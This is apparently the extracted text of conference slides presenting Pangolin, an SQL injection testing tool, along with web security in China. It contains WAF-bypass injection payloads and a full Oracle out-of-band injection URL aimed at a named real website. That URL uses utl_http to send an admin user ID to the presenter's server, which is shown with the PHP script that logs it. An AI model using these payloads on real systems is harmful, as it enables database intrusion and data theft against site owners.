


STARTING FROM PANGOLIN 
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About me 

• Pangolin 

• JSky 

• www.iiScan.com -> webscan.360.cn 

• NOSEC.lTD. Founder 

• 360 Web security Department Supervisor 

http://www.iiscan.com/
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What is Pangolin? 

• SQL injection pen-test tool 

• 100,000 users 

• Fast 

• Easy to use 

 

 



Technical Tree 

• Charset 

• Database support 

• Auto-keyword 

• Union-based 

• Error-based 

• GET/POST/Cookie/raw 

• File operation 

• Cmd operation 

• Fast Dump 

• Google hacking 

• Privilege Escalation 

• Oracle remote data 

• HTTPS 

• Proxy 

• Bypass WAF 

• Customizable headers 

• Authentication 

• MD5 crack  

So many… 



Keyword auto-extracting 

• What means keyword?Why we need it? 

• Difference between “And 1=1” and “and 

1=2” 

• 给出流程图 

 

 //right1和right2取交集R0 

 r0 = LCS(std::wstring(right1), std::wstring(right2)); 

 //right1和wrong1取right1特有部分R1 

 r1 = LeftPart(std::wstring(right1), std::wstring(wrong1)); 

 //right2和wrong2取right2特有部分R2 

 r2 = LeftPart(std::wstring(right2), std::wstring(wrong2)); 

 //R0和R1交集R3 

 r3 = LCS(r0, r1); 

 //R2和R3交集就是关键字结果 

 r4 = LCS(r2, r3); 

LeftPart: SES DIFF 



Bypass WAF 

• Char translate 

• HPP 

• GET with POST parameters 



Bypass WAF ：Char translate 

• Space to TAB 

• Space to /**/ or %09 or + 

• select to sElEcT 

• select to se%lec%t 

• „string‟ to 0xAAAAAA 

• String to %AA%AA%AA 



Bypass WAF ：HPP 

• http://www.blackhat.com/docs/webcast/bh

webcast28-balduzzi.pdf 

• http://www.google.com/search?q=italy&q=

china 

 

http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.google.com/search?q=italy&q=china
http://www.google.com/search?q=italy&q=china


Bypass WAF ：GET with POST parameters 

 

• http://www.80sec.com/?p=244 

 

GET /1.asp HTTP/1.1 

Host: 192.168.239.129 

Content-Length: 34 

Content-Type: application/x-www-form-urlencoded 

 

t=‟/**/or/**/1=1– 

＜% 

Response.Write “Request:” & Request(“t”) 

%＞ 

Request:‟/**/or/**/1=1– 

http://www.80sec.com/?p=244


Bypass WAF ：select keyword? 

• PHP filter code: 

preg_match('/(and|or|union|where|limit|gro

up by|select)/i', $id)  

• Filtered injection: 1 || (select 

substr(gruop_concat(user_id),1,1) user 

from users) = 1  

• Bypassed injection: 1 || 1 = 1 into outfile 

'result.txt' Bypassed injection: 1 || 

substr(user,1,1) = 'a' 



Oracle remote data 

• <?php$txt=fopen("oracle_info.txt","w");$id

='0';if(isset($_REQUEST['id'])){$id=$_RE

QUEST['id'];}fwrite($txt,$id);fclose($txt);?> 

• 给出流程图 



Oracle remote demo 

• Get http url : 
http://www.dsme.co.kr/servlet/ShowArticle?cntn_id=NEWSART&f_cmd=vie
w&cpage=1&dcmt_rgsr_no=2549'%20or%20chr(91)%20in%20(select%20u
tl_http.request(chr(104)%7C%7Cchr(116)%7C%7Cchr(116)%7C%7Cchr(1
12)%7C%7Cchr(58)%7C%7Cchr(47)%7C%7Cchr(47)%7C%7Cchr(119)%
7C%7Cchr(119)%7C%7Cchr(119)%7C%7Cchr(46)%7C%7Cchr(110)%7C
%7Cchr(111)%7C%7Cchr(115)%7C%7Cchr(101)%7C%7Cchr(99)%7C%7
Cchr(46)%7C%7Cchr(111)%7C%7Cchr(114)%7C%7Cchr(103)%7C%7Cc
hr(47)%7C%7Cchr(112)%7C%7Cchr(114)%7C%7Cchr(111)%7C%7Cchr(
100)%7C%7Cchr(117)%7C%7Cchr(99)%7C%7Cchr(116)%7C%7Cchr(47)
%7C%7Cchr(111)%7C%7Cchr(114)%7C%7Cchr(97)%7C%7Cchr(99)%7C
%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(95)%7C%7Cchr(100)%7C%7
Cchr(97)%7C%7Cchr(116)%7C%7Cchr(97)%7C%7Cchr(46)%7C%7Cchr(
112)%7C%7Cchr(104)%7C%7Cchr(112)%7C%7Cchr(63)%7C%7Cchr(105
)%7C%7Cchr(100)%7C%7Cchr(61)%7C%7C(select%20%20user_id%20fr
om%20(select%20rownum%20r,user_id%20from%20(select%20rownum%
20r,user_id%20from%20tb_admin%20where%20rownum%3C=1%20and%
201=1%20order%20by%201%20desc)%20t%20where%20r%3E1-
1%20order%20by%201)t))%20from%20dual)%20and%20'1'='1 

• Get http url : http://www.nosec.org/product/oracle_info.txt 



What‟s next? 

• Mysql injection with error 

• Mysql injection with bit shifting 

• And so much more…… 

• We need you to join us…… 



Outline 

• Pangolin Details 

• Web security situation in China 

• Web security testing 

• Demo 



Some sites some people 

• Wooyun.org 

• 80sec.com 

• 80vul.com 



What web site feel? 

18 

 Trojan horse 

 Tamper 

 Black link 

 Backdoor 

 DDoS 

 Phishing  

basic reason ：vunlnerability 
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 Tamper 

• Sexing and Gambling 

• SEO 

• Show off 

• Reactionary 

• Trojan horse 

 Search Engine Relocation 

 
 

Tamper 



Marketing, Price 

 



Trojan 



Tamper 
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Typical flow 

• Crawler 

– Javascript 

– Flash 

– Web2.0 (AJAX, RSS…) 

• Testing 

– OWASP 

– WebAppSec 

• Pentesting 

– Sql Injection 



JSky 

• Demo 



Webscan.360.cn 

 



And more we do 
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• Dedecms 0day 

• Zuitu 0day 



Q&A 



Thanks! 

北京市朝阳区建国路71号惠通时代广场D座1号楼 100025      

Block 1, Area D, Huitong Times Plaza No.71 JianGuo Road, ChaoYang District Beijing 100025, P.R.C. 

Tel: +86 10 5878 1000     Fax: +86 10 5878 1001 

 


